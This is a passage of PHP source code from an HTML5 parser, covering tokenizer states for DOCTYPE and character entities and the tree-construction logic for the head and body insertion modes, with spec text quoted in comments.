$this->state = 'data';
} else {
$this->token['data'] .= '--'.$char;
$this->state = 'comment';
}
}
private function doctypeState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
$this->state = 'beforeDoctypeName';
} else {
$this->char--;
$this->state = 'beforeDoctypeName';
}
}
private function beforeDoctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
// Stay in the before DOCTYPE name state.
} elseif(preg_match('/^[a-z]$/', $char)) {
$this->token = array(
'name' => strtoupper($char),
'type' => self::DOCTYPE,
'error' => true
);
$this->state = 'doctypeName';
} elseif($char === '>') {
$this->emitToken(array(
'name' => null,
'type' => self::DOCTYPE,
'error' => true
));
$this->state = 'data';
} elseif($this->char === $this->EOF) {
$this->emitToken(array(
'name' => null,
'type' => self::DOCTYPE,
'error' => true
));
$this->char--;
$this->state = 'data';
} else {
$this->token = array(
'name' => $char,
'type' => self::DOCTYPE,
'error' => true
);
$this->state = 'doctypeName';
}
}
private function doctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
$this->state = 'AfterDoctypeName';
} elseif($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif(preg_match('/^[a-z]$/', $char)) {
$this->token['name'] .= strtoupper($char);
} elseif($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
$this->token['name'] .= $char;
}
$this->token['error'] = ($this->token['name'] === 'HTML')
? false
: true;
}
private function afterDoctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
// Stay in the DOCTYPE name state.
} elseif($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
$this->token['error'] = true;
$this->state = 'bogusDoctype';
}
}
private function bogusDoctypeState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
// Stay in the bogus DOCTYPE state.
}
}
private function entity()
{
$start = $this->char;
// This section defines how to consume an entity. This definition is
// used when parsing entities in text and in attributes.
// The behaviour depends on the identity of the next character (the
// one immediately after the U+0026 AMPERSAND character):
switch($this->character($this->char + 1)) {
// U+0023 NUMBER SIGN (#)
case '#':
// The behaviour further depends on the character after the
// U+0023 NUMBER SIGN:
switch($this->character($this->char + 1)) {
// U+0078 LATIN SMALL LETTER X
// U+0058 LATIN CAPITAL LETTER X
case 'x':
case 'X':
// Follow the steps below, but using the range of
// characters U+0030 DIGIT ZERO through to U+0039 DIGIT
// NINE, U+0061 LATIN SMALL LETTER A through to U+0066
// LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER
// A, through to U+0046 LATIN CAPITAL LETTER F (in other
// words, 0-9, A-F, a-f).
$char = 1;
$char_class = '0-9A-Fa-f';
break;
// Anything else
default:
// Follow the steps below, but using the range of
// characters U+0030 DIGIT ZERO through to U+0039 DIGIT
// NINE (i.e. just 0-9).
$char = 0;
$char_class = '0-9';
break;
}
// Consume as many characters as match the range of characters
// given above.
$this->char++;
$e_name = $this->characters($char_class, $this->char + $char + 1);
$entity = $this->character($start, $this->char);
$cond = strlen($e_name) > 0;
// The rest of the parsing happens bellow.
break;
// Anything else
default:
// Consume the maximum number of characters possible, with the
// consumed characters case-sensitively matching one of the
// identifiers in the first column of the entities table.
$e_name = $this->characters('0-9A-Za-z;', $this->char + 1);
$len = strlen($e_name);
for($c = 1; $c <= $len; $c++) {
$id = substr($e_name, 0, $c);
$this->char++;
if(in_array($id, $this->entities)) {
$entity = $id;
break;
}
}
$cond = isset($entity);
// The rest of the parsing happens bellow.
break;
}
if(!$cond) {
// If no match can be made, then this is a parse error. No
// characters are consumed, and nothing is returned.
$this->char = $start;
return false;
}
// Return a character token for the character corresponding to the
// entity name (as given by the second column of the entities table).
return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8');
}
private function emitToken($token)
{
$emit = $this->tree->emitToken($token);
if(is_int($emit)) {
$this->content_model = $emit;
} elseif($token['type'] === self::ENDTAG) {
$this->content_model = self::PCDATA;
}
}
private function EOF()
{
$this->state = null;
$this->tree->emitToken(array(
'type' => self::EOF
));
}
}
class HTML5TreeConstructer
{
public $stack = array();
private $phase;
private $mode;
private $dom;
private $foster_parent = null;
private $a_formatting = array();
private $head_pointer = null;
private $form_pointer = null;
private $scoping = array('button','caption','html','marquee','object','table','td','th');
private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u');
private $special = array('address','area','base','basefont','bgsound',
'blockquote','body','br','center','col','colgroup','dd','dir','div','dl',
'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5',
'h6','head','hr','iframe','image','img','input','isindex','li','link',
'listing','menu','meta','noembed','noframes','noscript','ol','optgroup',
'option','p','param','plaintext','pre','script','select','spacer','style',
'tbody','textarea','tfoot','thead','title','tr','ul','wbr');
// The different phases.
const INIT_PHASE = 0;
const ROOT_PHASE = 1;
const MAIN_PHASE = 2;
const END_PHASE = 3;
// The different insertion modes for the main phase.
const BEFOR_HEAD = 0;
const IN_HEAD = 1;
const AFTER_HEAD = 2;
const IN_BODY = 3;
const IN_TABLE = 4;
const IN_CAPTION = 5;
const IN_CGROUP = 6;
const IN_TBODY = 7;
const IN_ROW = 8;
const IN_CELL = 9;
const IN_SELECT = 10;
const AFTER_BODY = 11;
const IN_FRAME = 12;
const AFTR_FRAME = 13;
// The different types of elements.
const SPECIAL = 0;
const SCOPING = 1;
const FORMATTING = 2;
const PHRASING = 3;
const MARKER = 0;
public function __construct()
{
$this->phase = self::INIT_PHASE;
$this->mode = self::BEFOR_HEAD;
$this->dom = new DOMDocument;
$this->dom->encoding = 'UTF-8';
$this->dom->preserveWhiteSpace = true;
$this->dom->substituteEntities = true;
$this->dom->strictErrorChecking = false;
}
// Process tag tokens
public function emitToken($token)
{
switch($this->phase) {
case self::INIT_PHASE: return $this->initPhase($token); break;
case self::ROOT_PHASE: return $this->rootElementPhase($token); break;
case self::MAIN_PHASE: return $this->mainPhase($token); break;
case self::END_PHASE : return $this->trailingEndPhase($token); break;
}
}
private function initPhase($token)
{
/* Initially, the tree construction stage must handle each token
emitted from the tokenisation stage as follows: */
/* A DOCTYPE token that is marked as being in error
A comment token
A start tag token
An end tag token
A character token that is not one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE
An end-of-file token */
if((isset($token['error']) && $token['error']) ||
$token['type'] === HTML5::COMMENT ||
$token['type'] === HTML5::STARTTAG ||
$token['type'] === HTML5::ENDTAG ||
$token['type'] === HTML5::EOF ||
($token['type'] === HTML5::CHARACTR && isset($token['data']) &&
!preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) {
/* This specification does not define how to handle this case. In
particular, user agents may ignore the entirety of this specification
altogether for such documents, and instead invoke special parse modes
with a greater emphasis on backwards compatibility. */
$this->phase = self::ROOT_PHASE;
return $this->rootElementPhase($token);
/* A DOCTYPE token marked as being correct */
} elseif(isset($token['error']) && !$token['error']) {
/* Append a DocumentType node to the Document node, with the name
attribute set to the name given in the DOCTYPE token (which will be
"HTML"), and the other attributes specific to DocumentType objects
set to null, empty lists, or the empty string as appropriate. */
$doctype = new DOMDocumentType(null, null, 'HTML');
/* Then, switch to the root element phase of the tree construction
stage. */
$this->phase = self::ROOT_PHASE;
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/',
$token['data'])) {
/* Append that character to the Document node. */
$text = $this->dom->createTextNode($token['data']);
$this->dom->appendChild($text);
}
}
private function rootElementPhase($token)
{
/* After the initial phase, as each token is emitted from the tokenisation
stage, it must be processed as described in this section. */
/* A DOCTYPE token */
if($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the Document object with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->dom->appendChild($comment);
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append that character to the Document node. */
$text = $this->dom->createTextNode($token['data']);
$this->dom->appendChild($text);
/* A character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED
(FF), or U+0020 SPACE
A start tag token
An end tag token
An end-of-file token */
} elseif(($token['type'] === HTML5::CHARACTR &&
!preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
$token['type'] === HTML5::STARTTAG ||
$token['type'] === HTML5::ENDTAG ||
$token['type'] === HTML5::EOF) {
/* Create an HTMLElement node with the tag name html, in the HTML
namespace. Append it to the Document object. Switch to the main
phase and reprocess the current token. */
$html = $this->dom->createElement('html');
$this->dom->appendChild($html);
$this->stack[] = $html;
$this->phase = self::MAIN_PHASE;
return $this->mainPhase($token);
}
}
private function mainPhase($token)
{
/* Tokens in the main phase must be handled as follows: */
/* A DOCTYPE token */
if($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A start tag token with the tag name "html" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') {
/* If this start tag token was not the first start tag token, then
it is a parse error. */
/* For each attribute on the token, check to see if the attribute
is already present on the top element of the stack of open elements.
If it is not, add the attribute and its corresponding value to that
element. */
foreach($token['attr'] as $attr) {
if(!$this->stack[0]->hasAttribute($attr['name'])) {
$this->stack[0]->setAttribute($attr['name'], $attr['value']);
}
}
/* An end-of-file token */
} elseif($token['type'] === HTML5::EOF) {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Anything else. */
} else {
/* Depends on the insertion mode: */
switch($this->mode) {
case self::BEFOR_HEAD: return $this->beforeHead($token); break;
case self::IN_HEAD: return $this->inHead($token); break;
case self::AFTER_HEAD: return $this->afterHead($token); break;
case self::IN_BODY: return $this->inBody($token); break;
case self::IN_TABLE: return $this->inTable($token); break;
case self::IN_CAPTION: return $this->inCaption($token); break;
case self::IN_CGROUP: return $this->inColumnGroup($token); break;
case self::IN_TBODY: return $this->inTableBody($token); break;
case self::IN_ROW: return $this->inRow($token); break;
case self::IN_CELL: return $this->inCell($token); break;
case self::IN_SELECT: return $this->inSelect($token); break;
case self::AFTER_BODY: return $this->afterBody($token); break;
case self::IN_FRAME: return $this->inFrameset($token); break;
case self::AFTR_FRAME: return $this->afterFrameset($token); break;
case self::END_PHASE: return $this->trailingEndPhase($token); break;
}
}
}
private function beforeHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token with the tag name "head" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') {
/* Create an element for the token, append the new element to the
current node and push it onto the stack of open elements. */
$element = $this->insertElement($token);
/* Set the head element pointer to this new element node. */
$this->head_pointer = $element;
/* Change the insertion mode to "in head". */
$this->mode = self::IN_HEAD;
/* A start tag token whose tag name is one of: "base", "link", "meta",
"script", "style", "title". Or an end tag with the tag name "html".
Or a character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE. Or any other start tag token */
} elseif($token['type'] === HTML5::STARTTAG ||
($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') ||
($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/',
$token['data']))) {
/* Act as if a start tag token with the tag name "head" and no
attributes had been seen, then reprocess the current token. */
$this->beforeHead(array(
'name' => 'head',
'type' => HTML5::STARTTAG,
'attr' => array()
));
return $this->inHead($token);
/* Any other end tag */
} elseif($token['type'] === HTML5::ENDTAG) {
/* Parse error. Ignore the token. */
}
}
private function inHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE.
THIS DIFFERS FROM THE SPEC: If the current node is either a title, style
or script element, append the character to the current node regardless
of its content. */
if(($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || (
$token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName,
array('title', 'style', 'script')))) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
} elseif($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('title', 'style', 'script'))) {
array_pop($this->stack);
return HTML5::PCDATA;
/* A start tag with the tag name "title" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
} else {
$element = $this->insertElement($token);
}
/* Switch the tokeniser's content model flag to the RCDATA state. */
return HTML5::RCDATA;
/* A start tag with the tag name "style" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
} else {
$this->insertElement($token);
}
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
/* A start tag with the tag name "script" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') {
/* Create an element for the token. */
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
/* A start tag with the tag name "base", "link", or "meta" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('base', 'link', 'meta'))) {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
array_pop($this->stack);
} else {
$this->insertElement($token);
}
/* An end tag with the tag name "head" */
} elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') {
/* If the current node is a head element, pop the current node off
the stack of open elements. */
if($this->head_pointer->isSameNode(end($this->stack))) {
array_pop($this->stack);
/* Otherwise, this is a parse error. */
} else {
// k
}
/* Change the insertion mode to "after head". */
$this->mode = self::AFTER_HEAD;
/* A start tag with the tag name "head" or an end tag except "html". */
} elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') ||
($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) {
// Parse error. Ignore the token.
/* Anything else */
} else {
/* If the current node is a head element, act as if an end tag
token with the tag name "head" had been seen. */
if($this->head_pointer->isSameNode(end($this->stack))) {
$this->inHead(array(
'name' => 'head',
'type' => HTML5::ENDTAG
));
/* Otherwise, change the insertion mode to "after head". */
} else {
$this->mode = self::AFTER_HEAD;
}
/* Then, reprocess the current token. */
return $this->afterHead($token);
}
}
private function afterHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token with the tag name "body" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') {
/* Insert a body element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in body". */
$this->mode = self::IN_BODY;
/* A start tag token with the tag name "frameset" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') {
/* Insert a frameset element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in frameset". */
$this->mode = self::IN_FRAME;
/* A start tag token whose tag name is one of: "base", "link", "meta",
"script", "style", "title" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('base', 'link', 'meta', 'script', 'style', 'title'))) {
/* Parse error. Switch the insertion mode back to "in head" and
reprocess the token. */
$this->mode = self::IN_HEAD;
return $this->inHead($token);
/* Anything else */
} else {
/* Act as if a start tag token with the tag name "body" and no
attributes had been seen, and then reprocess the current token. */
$this->afterHead(array(
'name' => 'body',
'type' => HTML5::STARTTAG,
'attr' => array()
));
return $this->inBody($token);
}
}
private function inBody($token)
{
/* Handle the token as follows: */
switch($token['type']) {
/* A character token */
case HTML5::CHARACTR:
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Append the token's character to the current node. */
$this->insertText($token['data']);
break;
/* A comment token */
case HTML5::COMMENT:
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
break;
case HTML5::STARTTAG:
switch($token['name']) {
/* A start tag token whose tag name is one of: "script",
"style" */
case 'script': case 'style':
/* Process the token as if the insertion mode had been "in
head". */
return $this->inHead($token);
break;
/* A start tag token whose tag name is one of: "base", "link",
"meta", "title" */
case 'base': case 'link': case 'meta': case 'title':
/* Parse error. Process the token as if the insertion mode
had been "in head". */
return $this->inHead($token);
break;
/* A start tag token with the tag name "body" */
case 'body':
/* Parse error. If the second element on the stack of open
elements is not a body element, or, if the stack of open
elements has only one node on it, then ignore the token.
(innerHTML case) */
if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') {
// Ignore
/* Otherwise, for each attribute on the token, check to see
if the attribute is already present on the body element (the
second element) on the stack of open elements. If it is not,
add the attribute and its corresponding value to that
element. */
} else {
foreach($token['attr'] as $attr) {
if(!$this->stack[1]->hasAttribute($attr['name'])) {
$this->stack[1]->setAttribute($attr['name'], $attr['value']);
}
}
}
break;
/* A start tag whose tag name is one of: "address",
"blockquote", "center", "dir", "div", "dl", "fieldset",
"listing", "menu", "ol", "p", "ul" */
case 'address': case 'blockquote': case 'center': case 'dir':
case 'div': case 'dl': case 'fieldset': case 'listing':
case 'menu': case 'ol': case 'p': case 'ul':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
break;
/* A start tag whose tag name is "form" */
case 'form':
/* If the form element pointer is not null, ignore the
token with a parse error. */
if($this->form_pointer !== null) {
// Ignore.
/* Otherwise: */
} else {
/* If the stack of open elements has a p element in
scope, then act as if an end tag with the tag name p
had been seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token, and set the
form element pointer to point to the element created. */
$element = $this->insertElement($token);
$this->form_pointer = $element;
}
break;
/* A start tag whose tag name is "li", "dd" or "dt" */
case 'li': case 'dd': case 'dt':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
$stack_length = count($this->stack) - 1;
for($n = $stack_length; 0 <= $n; $n--) {
/* 1. Initialise node to be the current node (the
bottommost node of the stack). */
$stop = false;
$node = $this->stack[$n];
$cat = $this->getElementCategory($node->tagName);
/* 2. If node is an li, dd or dt element, then pop all
the nodes from the current node up to node, including
node, then stop this algorithm. */
if($token['name'] === $node->tagName || ($token['name'] !== 'li'
&& ($node->tagName === 'dd' || $node->tagName === 'dt'))) {
for($x = $stack_length; $x >= $n ; $x--) {
array_pop($this->stack);
}
break;
}
/* 3. If node is not in the formatting category, and is
not in the phrasing category, and is not an address or
div element, then stop this algorithm. */
if($cat !== self::FORMATTING && $cat !== self::PHRASING &&
$node->tagName !== 'address' && $node->tagName !== 'div') {
break;
}
}
/* Finally, insert an HTML element with the same tag
name as the token's. */
$this->insertElement($token);
break;
/* A start tag token whose tag name is "plaintext" */
case 'plaintext':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
return HTML5::PLAINTEXT;
break;
/* A start tag whose tag name is one of: "h1", "h2", "h3", "h4",
"h5", "h6" */
case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* If the stack of open elements has in scope an element whose
tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
this is a parse error; pop elements from the stack until an
element with one of those tag names has been popped from the
stack. */
while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) {
array_pop($this->stack);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
break;
/* A start tag whose tag name is "a" */
case 'a':
/* If the list of active formatting elements contains
an element whose tag name is "a" between the end of the
list and the last marker on the list (or the start of
the list if there is no marker on the list), then this
is a parse error; act as if an end tag with the tag name
"a" had been seen, then remove that element from the list
of active formatting elements and the stack of open
elements if the end tag didn't already remove it (it
might not have if the element is not in table scope). */
$leng = count($this->a_formatting);
for($n = $leng - 1; $n >= 0; $n--) {
if($this->a_formatting[$n] === self::MARKER) {
break;
} elseif($this->a_formatting[$n]->nodeName === 'a') {
$this->emitToken(array(
'name' => 'a',
'type' => HTML5::ENDTAG
));
break;
}
}
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$el = $this->insertElement($token);
/* Add that element to the list of active formatting
elements. */
$this->a_formatting[] = $el;
break;
/* A start tag whose tag name is one of: "b", "big", "em", "font",
"i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
case 'b': case 'big': case 'em': case 'font': case 'i':
case 'nobr': case 's': case 'small': case 'strike':
case 'strong': case 'tt': case 'u':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$el = $this->insertElement($token);
/* Add that element to the list of active formatting
elements. */
$this->a_formatting[] = $el;
break;
/* A start tag token whose tag name is "button" */
case 'button':
/* If the stack of open elements has a button element in scope,
then this is a parse error; act as if an end tag with the tag
name "button" had been seen, then reprocess the token. (We don't
do that. Unnecessary.) */
if($this->elementInScope('button')) {
$this->inBody(array(
'name' => 'button',
'type' => HTML5::ENDTAG
));
}
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
break;
/* A start tag token whose tag name is one of: "marquee", "object" */
case 'marquee': case 'object':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
break;
/* A start tag token whose tag name is "xmp" */
case 'xmp':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Switch the content model flag to the CDATA state. */
return HTML5::CDATA;
break;
/* A start tag whose tag name is "table" */
case 'table':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in table". */
$this->mode = self::IN_TABLE;
break;
/* A start tag whose tag name is one of: "area", "basefont",
"bgsound", "br", "embed", "img", "param", "spacer", "wbr" */
case 'area': case 'basefont': case 'bgsound': case 'br':
case 'embed': case 'img': case 'param': case 'spacer':
case 'wbr':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "hr" */
case 'hr':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if($this->elementInScope('p')) {
$this->emitToken(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "image" */
case 'image':
/* Parse error. Change the token's tag name to "img" and
reprocess it. (Don't ask.) */
$token['name'] = 'img';
return $this->inBody($token);
break;
/* A start tag whose tag name is "input" */
case 'input':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an input element for the token. */
$element = $this->insertElement($token, false);
/* If the form element pointer is not null, then associate the
input element with the form element pointed to by the form
element pointer. */
$this->form_pointer !== null
? $this->form_pointer->appendChild($element)
: end($this->stack)->appendChild($element);
/* Pop that input element off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "isindex" */
case 'isindex':
/* Parse error. */
// w/e
/* If the form element pointer is not null,
then ignore the token. */
if($this->form_pointer === null) {
/* Act as if a start tag token with the tag name "form" had
been seen. */
$this->inBody(array(
'name' => 'body',
'type' => HTML5::STARTTAG,
'attr' => array()
));
/* Act as if a start tag token with the tag name "hr" had
been seen. */
$this->inBody(array(
'name' => 'hr',
'type' => HTML5::STARTTAG,
'attr' => array()
));
/* Act as if a start tag token with the tag name "p" had
been seen. */
$this->inBody(array(
'name' => 'p',
'type' => HTML5::STARTTAG,
'attr' => array()
));
/* Act as if a start tag token with the tag name "label"
had been seen. */
$this->inBody(array(
'name' => 'label',
'type' => HTML5::STARTTAG,
'attr' => array()
));
/* Act as if a stream of character tokens had been seen. */
$this->insertText('This is a searchable index. '.
'Insert your search keywords here: ');
/* Act as if a start tag token with the tag name "input"
had been seen, with all the attributes from the "isindex"
token, except with the "name" attribute set to the value
"isindex" (ignoring any explicit "name" attribute). */
$attr = $token['attr'];
$attr[] = array('name' => 'name', 'value' => 'isindex');
$this->inBody(array(
'name' => 'input',
'type' => HTML5::STARTTAG,
'attr' => $attr
));
/* Act as if a stream of character tokens had been seen
(see below for what they should say). */
$this->insertText('This is a searchable index. '.
'Insert your search keywords here: ');
/* Act as if an end tag token with the tag name "label"
had been seen. */
$this->inBody(array(
'name' => 'label',
'type' => HTML5::ENDTAG
));
/* Act as if an end tag token with the tag name "p" had
been seen. */
$this->inBody(array(
'name' => 'p',
'type' => HTML5::ENDTAG
));
/* Act as if a start tag token with the tag name "hr" had
been seen. */
$this->inBody(array(
'name' => 'hr',
'type' => HTML5::ENDTAG
));
/* Act as if an end tag token with the tag name "form" had
been seen. */
$this->inBody(array(
'name' => 'form',
'type' => HTML5::ENDTAG
));
}
break;
/* A start tag whose tag name is "textarea" */
case 'textarea':
$this->insertElement($token);
/* Switch the tokeniser's content model flag to the
RCDATA state. */
return HTML5::RCDATA;
break;
/* A start tag whose tag name is one of: "iframe", "noembed",
"noframes" */
case 'iframe': case 'noembed': case 'noframes':
$this->insertElement($token);
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
break;
/* A start tag whose tag name is "select" */
case 'select':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in select". */
$this->mode = self::IN_SELECT;
break;
/* A start or end tag whose tag name is one of: "caption", "col",
"colgroup", "frame", "frameset", "head", "option", "optgroup",
"tbody", "td", "tfoot", "th", "thead", "tr". */
case 'caption': case 'col': case 'colgroup': case 'frame':
case 'frameset': case 'head': case 'option': case 'optgroup':
case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead':
case 'tr':
// Parse error. Ignore the token.
break;
/* A start or end tag whose tag name is one of: "event-source",
"section", "nav", "article", "aside", "header", "footer",
"datagrid", "command" */
case 'event-source': case 'section': case 'nav': case 'article':
case 'aside': case 'header': case 'footer': case 'datagrid':
case 'command':
// Work in progress!
break;
/* A start tag token not covered by the previous entries */
default:
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
$this->insertElement($token);
break;
}
break;
case HTML5::ENDTAG:
switch($token['name']) {
/* An end tag with the tag name "body" */
case 'body':
/* If the second element in the stack of open elements is
